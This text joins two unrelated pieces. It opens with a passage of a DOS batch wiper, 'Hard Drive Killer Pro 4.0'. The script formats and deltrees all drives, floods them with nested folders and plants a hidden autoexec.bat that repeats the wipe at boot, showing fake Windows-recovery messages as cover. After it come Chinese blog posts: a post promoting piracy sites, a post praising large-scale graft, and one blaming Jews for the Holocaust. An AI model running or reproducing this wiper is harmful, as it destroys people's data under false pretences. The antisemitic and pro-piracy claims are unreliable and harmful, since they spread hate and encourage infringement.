echo if errorlevel 1 goto enddc >>drivechk.bat



cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem When errorlevel is 1, then the above is not true, if 0, then its true.

rem Opposite of binary rules. If 0, it will elaps to the next command.



echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find \bytes\ > nul >{

t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat



cls


echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if errorlevel is 1, then the drive specified is a removable media drive - no

t ready.

rem if errorlevel is 0, then it will elaps to the next command.



echo @prompt dir %%%%1:.\/ad/w/-p $b find \ 0 bytes free\ > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>drivechk.bat

del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat



cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .



rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.



echo :enddc >>drivechk.bat



rem Drive checking insertion ends here. \enddc\ stands for \end dDRIVE cHECKING\

..




rem Now we will use the program drivechk.bat to attain valid drive information.



:Sampledrv



for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

if %drive.==. set drive=c



:form_del

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au

toexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b

at

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys


tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\au

toexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.b

at

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cd\ >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer

version 4.0. >>c:\autoexec.bat

echo echo If you ran this file, then sorry, I just made it. The purpose of this

program is to tell you the following. . . >>c:\autoexec.bat


echo echo 1. To make people aware that security should not be taken for granted.

>>c:\autoexec.bat

echo echo 2. Love is important, if you have it, truly, dont let go of it like I

did! >>c:\autoexec.bat

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad y

our HD is dead. >>c:\autoexec.bat

echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Part

y.>>c:\autoexec.bat



echo echo. >>c:\autoexec.bat

echo echo Regards, >>c:\autoexec.bat

echo echo. >>c:\autoexec.bat

echo echo Munga Bunga >>c:\autoexec.bat

call attrib +r +h c:\autoexec.bat



:makedir

if exist c:\temp.bat attrib -r -h c:\temp.bat >nul

echo @echo off >c:\temp.bat

echo %%1:\ >>c:\temp.bat

echo cd\ >>c:\temp.bat

echo :startmd >>c:\temp.bat

echo for %%%%a in (\if not exist %%2\nul md %%2\ \if exist %%2\nul cd %%2\) do %


%%%a >>c:\temp.bat

echo for %%%%a in (\>ass_hole.txt\) do echo %%%%a Your Gone @$$hole!!!! >>c:\tem

p.bat

echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%

%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%

%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat

call attrib +r +h c:\temp.bat >nul



cls

echo Initializing Variables . . .

rem deltree /y %%a:\*. only eliminates directories, hence leaving the file creat

ed above for further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul


call attrib +r +h c:\temp.bat >nul

call attrib +r +h c:\autoexec.bat >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .



for %%a in (%drive%) call deltree /y %%a:\*. >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

echo Starting Application . . .

for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul



cls

echo Thank you for using a Munga Bunga product.

echo.

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius

..


echo.

echo Here is a joke for you . . .

echo.

echo Q). Whats the worst thing about being an egg?

echo A). You only get laid once.

echo.

echo HAHAHAHA, get it? Dont you just love that one?

echo.

echo Regards,

echo.

echo Munga Bunga



:end



rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australians

(help me get out of here).

2011年10月9日 星期日

詐騙集團

阿泰: Hi 在嗎

閉門中: 在啊

阿泰: 我現在人在外面,手頭有點不方便,你可以幫我買點ICARD嗎  <----詐騙集團

閉門中: 啥? 別烙英文啦,我看沒有,缺錢喔,甚麼店?  報我的名字過不了嗎?

阿泰: ....

閉門中: 我現在出不去啊,上禮拜那一條,我老頭賠了三百多萬,幹!你就坐在後座,還裝無辜

阿泰: 我哪知那麼大條啊 <----情報蒐集中

閉門中: 他現在火大了,車被沒收,卡也被拿走,馬的

阿泰: 那你現在沒錢啊?

閉門中: 我本來四張卡啦,兩張老頭的,一張老媽一張阿姨,現在被拿三張走嘞

阿泰: 那還有一張呢?

閉門中: 講起來就幹,我老頭叫我去打工,他說我賺一萬他就放兩萬進去,賺五萬他就放十萬

閉門中: 馬的,我就算去超商打工,一個月也才一萬多,他給兩萬也才三萬,以前光阿姨給的一個月也五萬,現在馬子狂摳都不敢回

阿泰: 你是說,賺一萬他給兩萬嗎?

閉門中: 是啊,幹!你不會真的要我去打工吧

阿泰: 不是啦,那我幫你放三萬進去,你不就有六萬,那可以先借我嗎

閉門中: 幹! 你跟我調錢我啥時說沒有過,不過一下就賺幾萬,我老頭知道我去借的啦

阿泰: 你可以說去經紀公司當男模,公司給的治裝費嘛

閉門中: 耶,好像可以,我老頭對那個產業不熟

阿泰: 那我去匯,你老頭給你候你再匯給我應急

閉門中: 沒問題


十分鐘後

阿泰: 我匯了五萬,你至少要借我九萬喔,靠你了

阿泰: 兄弟...

阿泰: 兄弟...

閉門中再也沒有出現過

方便見面討論?

接案,免費諮詢 ?

接案這麼久的時間了,很多業主常掛在嘴邊一句話,"希望你來公司我們詳談",或是直接"我們來開個會"

結果哩,問了你一堆問題,案子沒做成,車馬費自付

我們該走甚麼通訊協議?

網站用ASP還是用其他種類的?

會不會有平台相容問題?

這樣做下來需要多久時間?

平台有哪些是免費的?



千里迢迢地跑去替人解惑,然後換到一句,SORRY,我們預算不足

然後對方再拿著從你這裡得到的資訊找便宜的(學生)去實作

中小企業遠永都是中小企業,只有"中小"企業會幹這種不要臉的事

2011年9月5日 星期一

法律之上

這一兩年P2P已經不再像以前那麼多人使用,大家都維護正版嗎? 非也,因為有比P2P更好用的東西出現了

在進入主題之前,來探討一個有趣的概念問題

P2P在我個人看來,是屬於一種"工程師概念"之下的產物,也就是說一開始就承認自己可能非法,所以用技術來做法律上的規避,有某種程度的心虛而讓使用者來承擔可能的風險,為什麼呢?
因為開發的人或公司太小,不可能跟當地的司法對抗,所以只能用技術面去規避,就像是ezPeer, Kuro等等
這種概念是基於"法律之下",對於完全視當地法律如無物的公司團體而言,P2P就失去了意義

有可能在"法律之上"嗎?

當然有可能,所謂法律只是政府用來欺壓當地善良老百姓的東西而已,有錢他保護你,沒錢他欺負你
我們現在常會看到一些連結,帶你連到 megaUpload, rapidShare, fileServe 等等網站進行下載,就我們的法律來看,這些網站服務包含了網路提供者,資料提供者,資料傳輸者,硬碟空間提供者,照理說百分之百的犯法,但是他們凌駕於台灣的法律之上,也就是說我們台灣公司自己開發這種機制就是犯法,即使是開發已規避法律的P2P,台灣法律仍然會修法來抓你,因為告你的是有錢人。

通常有錢人不敢告的,就是比他更有錢更有勢力的人,那麼megaUpload, rapidShare更有錢更有勢力嗎?

當然! 首先他是在境外,我剛提過了,台灣的法律只能欺壓台灣的百姓,對於境外可說是完全視而不見,從來沒聽過甚麼強硬措施,從總統府到到地方法院,向來都是鼻子摸一摸....你知道我們只能抓在地而且很窮的嘛,你就自認倒楣,快簽了吧



那美國呢?號稱世界警察,怎也會視而不見?

你要知道,當一個公司或團體,能無視當地法律,那麼它必定牽涉到法律之上的"國家利益",舉例來說如果megaUpload幕後大金主是阿拉伯聯合大公國裡的甚麼王子,試問你美國是要得罪阿拉伯,還是鼻子摸一摸當無法可管,美國尚且如此了,更何況台灣



megaUpload等等的經營概念,跟P2P就完全不同了,你說他犯法,他會問你,你講的是哪一國的法呢?,我請當地律師跟你談,你要自找麻煩的立案你就去吧,看最後誰倒楣,也就是說他完全無視於 "你的司法體系" ,有本事你就照IP全面封鎖我啊,偏偏你又沒本事

總而言之,他不屬於"工程師窮則變,變則通的概念",有錢人不需要玩這一套,有本事你就去弄垮他,他大辣辣的放上楊宗偉最新專輯,甚至發獎金給上傳的人,你又能如何?
(台灣司法一定會說,我們抓上傳的人,因為此人一定是台灣的窮人),可悲....

法律為有錢有權,跟沒錢無權劃上了最佳分界點,我們一般都處於雖不是巨富,但也非乞丐的灰色地帶,當你告上了同樣灰色地帶的人,那麼它或許能秉公處理,但你要長眼,不能去惹那些凌駕於它之上的人,正義是可以用錢買的,所以正義必勝代表有錢人必勝

在金錢的推動之下,法律是可以修改的,甚至修憲都行,那麼法律是越來越適合保護金主,還是保護窮人呢
最厲害的是有些修法表面上看起來全民得益,然後找個窮人來計算後在電視上宣布,卻決不會去算郭董因為這條法多賺了幾倍,這些經由精算師打造,然後用金錢去堆動的法律,不是我們一般老百姓能想像的


概念問題講完,大家應該已經知道,比P2P更好用的就是megaUpload, rapidShare等這些網路空間,也明白這些公司為什麼可以這麼囂張地放盜版,厲害的是他再怎麼囂張,我們的司法還是會當作看不見(看不見就不算無能嘛)

至於他有甚麼優點呢,大家可以到 http://www.filecrop.com/ 找個檔案下載就知道

如果你覺得用瀏覽器每次下一個檔案太慢,那可以下載免費的JDownLoader

2011年4月24日 星期日

九英真經

【軟體名稱】:九英真經(EnglishNine)全民英檢、多益、托福等最佳進步工具--九英真經
【軟體語言】:繁中
【軟體分類】:英文學習工具
【檔案大小】:12MB
【放置空間】:greediO.com
【軟體介紹】:九英真經是唯一能"強迫"您英文進步,也是唯一能對抗惰性的軟體

下載網址:
[url]http://greedio.com/NineEn_Setup.exe[/url]

使用說明與其他資訊
[url]http://greedio.com/nine_manual.html[/url]

作者曾經下過幾次決心想學好英文,尤其是看到身邊朋友,看洋片不需字幕、能跟老外聊宗教政治,都讓作者羨慕不已,也曾買過昂貴的教材、翻譯機等設備,但最後都是供起來當神主牌。
作者自認為算一個蠻有毅力與意志的人,但始終還是敵不過惰性.....
不像學習程式、繪畫、數學等,語言學習是一種很難在短時間內獲得成就感的東西,沒了成就感,怠惰就隨之而來,許多人將之歸咎於環境,但作者覺得懶惰就是懶惰,不能賴給環境。
有些人說真要學好英文,放到國外幾年,自然就會了,但前提是家裡必須有座金山

讀一篇英文文章,最大的挫敗感不在於對句型的不瞭解,而在於最基本的"不認識字",
如果裡面的字你全都認得,那麼要弄清楚句型,就像張無忌練乾坤大挪移一樣,本錢夠,愉快得很

背單字,是一連串機械式、無聊、乏味的漫長過程,一天背50個單字的雄心壯志,就慢慢被消磨到...算了,反正買鹹酥雞是講台語
出社會後,沒人逼、工作也沒這種需求(有這種需求的工作也輪不到我..),於是乎..英文變成來生再說的事了...

九英真經不是教材,稱他是強制背誦的壓力工具,反而比較合適,現代人無論是工作、娛樂,幾乎都離不開電腦,電腦一旦中毒、硬體壞掉或是其他任何狀況,都會讓使用者必須在第一時間處理,使其恢復正常。
九英真經就是製造這種狀況來逼迫用戶做出處理(當然不會讓用戶中毒或有其他損害)
簡單來說他就是每四十分鐘綁架用戶的電腦一次,迫使用戶必須輸入本日她所出的單字數量的一半(數量由用戶自訂),正確後才會歸還使用權。
如果用戶實在拼不出來,可以按語音讓他唸出來,再拼不出來,就是按下跳過
如果用戶按下跳過,那麼原本四十分鐘綁架一次,就會變成二十分鐘,依此類推,最短到達五分鐘

用戶當然可以選擇重新開機(如果覺得這樣比Key個單字節省時間的話)
利用非解決不可的狀況,來逼迫自己背誦,效果絕對比對自己精神喊話,然後昏昏欲睡來得有效持久


以下是九英真經的畫面與使用方式



安裝九英真經

安裝九英真經時,會看到輸入管理密馬的選項,您可以在這裡輸入您要使用的密碼,此密碼是用來管理單字及程度的設定,在反安裝時,也需要用到此密碼,這個密碼的用意,除了提醒您堅持下去之外,如果您是家長安裝在子女電腦內,就不需要告訴他這個密碼

[img]http://greedio.com/images/n1.jpg[/img]

在這裡您可以設定單字的程度、每日背誦量以及幾天做一次總複習,這些設定都可以在九英真經內再做修正,單字數量的建議值為 3-5個

[img]http://greedio.com/images/n2.jpg[/img]

安裝完成後九英真經將自動運行,您不會在桌面或工具列看到九英真經的捷徑,因為他運行以後直到您關機都不會離開桌面,以下是九英真經的主畫面
主畫面會先顯示本日要背的單字,同時也可以看到未背的單字,點擊左邊清單內的任何單字,在右方就會顯示其詳細的資訊及例句,無在論是單字或例句,單響滑鼠都可讓軟體播放語音,您也可以在例句上按右鍵複製文字或是轉存語音檔到手持裝置

[img]http://greedio.com/images/n3.jpg[/img]


除了英文之外,您可以在語言清單內選擇其他語言,語音也將轉換為其他語言發音

[img]http://greedio.com/images/n4.jpg[/img]

按下設定管理,您必須先輸入安裝時所打入的管理密碼,然後就可以看到以下畫面,除了一般設定外,在又上方您可以選擇檢視目前程度的所有單字,您可以針對已背及未背的單字進行管理

[img]http://greedio.com/images/n5.jpg[/img]

關閉主視窗後,桌面便條紙就會出現,您可以將它移動到角落,在有空時即可背誦,同樣的單響便條紙上的單字就會播放語音,單關閉便條紙後,主畫面就會再次顯示於桌面上

[img]http://greedio.com/images/n6.png[/img]

九英真經每四十分鐘就會出現黑色視窗(覆蓋整個桌面),並提取本日單字一半的數量對您進行提問,如果您拼不出來,可以按語音加強回憶,當然也可以按跳過然後去尋找答案,不過下次出現的時間就會縮短為二十分鐘

[img]http://greedio.com/images/n7.jpg[/img]



常見問題

Q. 我是否可暫時關閉九英真經,當我真的很忙的時後?
A. 不行,當您這麼做之後,就會永遠這麼做下去

Q. 當我一直按下跳過,九英真經提問變成五鐘出現一次,若下一次我答對了,是否變回四十分鐘出現?
A. 會回到五分鐘的前次,就是十分鐘出現一次,所以建議您不要按跳過,您可以先將本日單字作小抄記在紙上

Q. 如果我忘記了管理密碼,又想進入設定或是執行反安裝怎麼辦?
A. 如果您是正式版用戶,可以輸入您的序號,若您是Demo版用戶,輸入Demo即可

Q. 我安裝在小孩電腦上,他是否能經由工作管理員或是殺掉程式來中斷九英真經的運作?
A. 除非使用反安裝程式並輸入管理密碼,否則無法用其他方式離開或是刪除九英真經


作者為自由軟體工作者,如果各位覺得此軟體好用,請花點小錢購買正式版以資助作者開發更多繁中軟體..^^

2010年12月15日 星期三

阿扁如果有錯、錯在於A太少

一個想要歷史留名,同時兼大富大貴的政治人物,一定要善於自我催眠,意志堅定,否則就會不上不下,卸任後被抓去關...

有一句諺語 "殺一人是殺人犯、殺十人是變態狂、殺百人是恐怖份子、殺千萬人--是英雄"
同樣的 "A一億是貪污、A十億是該抓去槍斃的貪污、A千百億--是民族英雄"

阿扁的錯就在於A太少,同時不懂得自我催眠(希特勒能將自己催眠到--殺猶太人跟屠宰豬隻一樣的正常)

之前冰島因為財政困難,將一大片土地租給了韓國某公司(租期為99年),阿扁只需依樣畫葫蘆,協同有錢且(有遠見)的大老闆、銀行董事等,原本的官商勾結、立刻就變成救國大計,這時就是以百億為單位的往外送,在這個天文數字前,阿扁要拿個幾億,當真是天經地義、受之無愧,說不定還有機會當台灣國的國父,甚至創造一個不流血建國的神話(簡單嘛、想當中國人的留下,想當台灣人的跟阿扁走)

回歸現實,除非所有A錢的伙伴都有"共識"且真的夠力,否則要在任內完成且不被抓包是很難的,但即使被抓(用語該改成國家機密遭洩漏),還是能照著那句話

"一億的貪污-可辦、十億的貪污-嚴辦、千百億的貪污-不可說",那是動搖國本,要引發內亂的,所以既然不可說、不可辦,阿扁又何來的牢獄之災?
A錢是一門深奧的學問,要有過人的意志力與智慧,才能A得多、A得有理、A到變成救世主。

Eric 2010/12/15

可憐之人必有可恨之處

不管是正史、野史,希特勒都被妖魔化到一個誇張的地步,我們都會同情猶太人的悲慘遭遇,但少有人知道悲慘的起因.....

當時的德國,全國大半的錢都在猶太人手上,猶太銀行家讓德國通貨膨脹到一個不可思議的地步(一百億倍),就在猶太人享受錦衣玉食的同時,德國人可能背著一大袋的鈔票,卻買不起一個麵包,一個成年男人或許能忍受自己的飢餓,但他怎能忍受自己的小女兒活活的被餓死呢,於是瘋狂就發生了,希特勒只是將這股瘋狂集合起來變成有目的的行動,一個政治領袖無論如何的有魅力,都不可能讓全民陷入瘋狂,從歷史來看,要讓人類能如此慘忍無道,只有一個原因,就是貧窮與飢餓,這種狀況下所併發出來的憎恨是最極端的,一切都是肚子惹得禍.....所以,千萬別跟一個飢餓的人說愛、和平與真理..

Eric 2010/12/15

2010年12月10日 星期五

小英的日記(笑到不行啦!!)

小英是一名國小生,難得的週休二日,小英跟爸媽去六福村玩。禮拜日深夜回到家時,才想起老師交代2篇作文,題目就是星期六,星期日2天的旅遊記錄。小英禮拜六寫了六福村的事情,至於禮拜日呢?真令人頭痛!阿...亂掰好了。

***************************************************

星期一到了...小英在交完作業後,中午馬上被老師叫到升旗台前去罰站,附加唸500遍"我以後不敢編謊話欺騙老師了"。why?????為何這名老師要殘忍的對待這名柔弱的國小生ㄌㄟ?我們來瞧瞧她的作文是怎麼寫的... ***************************************************

遊記2(星期日)

今天是禮拜日,雖然昨天去六福村玩到晚上11:00多,可是今天我們起了個大早,就到六福村旁邊的梨山去摘水果,因為奶奶跟爺爺就住在梨山。我們到了梨山後,就鞋子脫了開始爬山,大約10分鐘就到山頂了。山頂上的空氣很好,爺爺帶我們去他的果園,哇..爺爺的果園好大。種了好多果樹,有西瓜樹、草莓樹、鳳梨樹、、、,因為我太小了爬不上樹,爺爺就爬上西瓜樹摘了一顆最大的西瓜丟給爸爸,爸爸還很臭屁的用一隻手就接起來了!

果園還有很多長在地上的水果,像蘋果、梨子、椰子..等等。爺爺摘了一些椰子,用手把椰子皮剝掉,去籽,然後分給每個人吃,椰子好好吃喔。我吃了20幾個,表弟還拿椰子丟我的臉..痛死了!

吃完了水果大餐,我們到梨山旁邊的玉山去玩,聽老師說玉山是台灣最高的山。果然老師沒有騙我們,我跟表弟爬壓爬的,大概爬了20分鐘才到山頂,我熱死了。我表弟熱到不行,脫到只剩一條小YG,醜死了。後來我們還是覺得很熱,就到山頂上的小溪泡水,好冰喔。玉山真是個好地方。後來表弟問我有沒有錢,他看到山頂附近有賣鹹酥雞,死表弟,每次都跟我借錢!

我們還在買的時候,聽到媽媽在梨山那裡喊我們回家,只好依依不捨的走了。梨山跟玉山真是個好玩的地方,我以後還要叫爸爸、媽媽帶我們來玩。爸爸說如果這次段考我第一名這個星期日他還要帶我去台北、台中、台南、台東、台西去玩。我最想去台西,因為班長小美就住在台西,她說其實課本是騙人的,台西有比玉山更高的山,大概要爬30分鐘,上面還有很大的夜市,跟兒童樂園,跟清澈的小溪,我一定要好好用功然後叫爸爸帶我去這些地方玩。

*****************************************************

導師評語:內容矛盾百出,極盡誇大之能事,不知所云。乃本人教書20餘年來所未曾見,下次請務必注意,東西不要長錯了地方。


文章主題: 小英的日記 2

這次老師又要求交600字的遊記,有了上回的經驗, 小英不敢再亂掰了,確確實實地把週日父親帶他去爬七星山的情況寫下來。

***************************************************

遊記三(星期日)

今天早上爸爸帶我們全家爬七星山,沿路上蟬聲一直吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱,叫個不停,感覺很舒服。

*****************************************************

導師評語:內容屬實,能一改前非,老師很高興。但全篇用了五百多個「吱」字,乃本人教書20餘年來所未曾見,下次請務必注意,寫作要用心,不可敷衍了事。


文章主題: 小英ㄉ日記3

老師這回也學乖了,怕學生亂謅一通,要求再交600字的遊記但要提出一天中的學習心得,小英這回和媽媽爬山回來很小心地查閱課本,終於發現有一件事驗證了課本的知識很高興地寫下來交給老師。

***************************************************

遊記(四)

今天和媽媽去爬山,到了山頂,媽媽說安靜的山間會有回音喔。我和弟弟一起試著大叫「你好嗎」,果然大約三秒之後就聽到好多「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,「你好嗎」,一個字都沒變喔,哇!課本說的音波反射,我終於體會到了。真是有意義的一天。*****************************************************

導師評語:知道就好


文章主題: 小英ㄉ日記4

話說老師對小英的偷懶式作文不能茍同,不再出遊記式作文,想想如何激發小英作文潛能,便再出一道「最難忘的一件事」。小英咬著鉛筆作出努力思考樣,終於下筆疾書,交出後自忖老師應該不會再處罰我了,不禁面露傻笑。

*****************************************************

最難忘的一件事

上星期五放學回家時,在我家門前看見一沱大便,當時我吃了一斤,誰這麼缺德在我家門前拉大便,我就趕快叫姊姊出來,姊姊看了也吃了一斤,破口道:"他奶奶的!這麼沒水準",姊姊叫我拿掃把一起掃掉。媽媽知道後也出來看,同樣也吃了一斤,叫道"夭壽喔!哪個澎肚短命死猴嬰仔,造孽喔"。爸爸聽到媽媽的叫聲趕快出來看個究竟,也吃了一斤。"豬八戒,那個欠罵"的",鄰居王媽媽剛買菜回來,看了也吃了一斤,王伯伯,王小明出來看也都吃了一斤。不一會兒聚集了十多人,大家都吃了一斤,最後打119消防人員在各吃了一斤後總算把那沱大便給清除了,真是最難忘的一件事。

************************************************

導師評語:有進步,但家人髒話不必寫出,自己更不能罵髒話,並要注意錯別字,是"吃了一驚",不是"吃了一斤",不過這沱大便大概總共有二十來斤,哪個人有這本事!

2010年6月16日 星期三

Software Constructor

有一種工程師的職稱叫 Software Constructor(或是類似),通常是專業的軟體公司才有(而且要夠大),這種職務通常是非常有經驗的工程師轉任,在軟體建構中擔任非常吃重的角色,雖然不用去實做程式碼,但卻擔負了軟體成敗最大的責任,Constructor除了對軟體設計必須有很深入的認識外,對市場需求性及使用者行為更需要有獨到的見識,尤其是當軟體是開發給一般大眾使用時。

大多數中國或台灣的軟體開發業主,都是由企畫提案,通過後就由這個企畫在PPT上畫個草圖,然後就丟給工程師去實做,而且希望工程師能夠通包人機介面與軟體功能,通常透過這種模式開發出來的軟體,十之八九都賣不出去,雖然我不想承認,但寫過多次這種案子,結局都是....業主賣出的套數,指頭數得出來...

一般企畫其實都不知道自己"正在"擔任Constructor的工作,只是一昧的想把自己的想法經由工程師去實現,卻不具備Constructor的專業知識,而一般工程師也是抱著業主要什麼就寫什麼,賣不好是他家的事,尾款有付就好的心態去寫程式,不大可能有工程師會說...你這東西寫出來不會有人買啦..之類的話,結果...曇花就這麼每天開一下...

Construtor通常(幾乎是必須)由工程師來擔任,一個善於開發軟體的工程師,對使用者行為會有一定程度的瞭解,也就不會陷入所謂功能迷思(功能越多用戶越多),或是太監的憂鬱(皇上可能會需要...)等等陷阱

